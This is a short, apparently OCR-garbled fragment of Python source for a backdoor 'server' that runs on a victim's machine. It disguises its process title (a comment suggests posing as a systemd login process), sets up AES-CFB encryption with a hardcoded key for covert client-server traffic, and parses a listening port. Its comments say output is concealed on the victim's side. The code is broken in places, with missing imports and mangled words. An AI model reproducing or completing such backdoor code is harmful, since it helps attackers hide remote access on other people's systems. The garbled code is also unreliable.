import sys import setproctitle # masquerade process title #"/usr/bin/systemd/systemd-login" title = "backdoor" setproctitle.setproctitle(title) # encryptlencode and decryptldecode a string EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s)) DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)) # random secret key (both the client and server must match this key) secret = "sixteen byte key" iv = Random.New().read(AES.block_size) # create cipher object cipher = AES.new(secret, AES.MODE_CFB, iv) # parse command line argument # generally any output would be concealed on the ser ver (victim's) side parser = optparse.OptionParser("usage : python server. py -p <port>") parser.add_option('-p', dest='port', type='int', help='port') (options, args) = parser.parse_args() if (options.port == None): print(parser.usage) sys.exit() else: port = options.port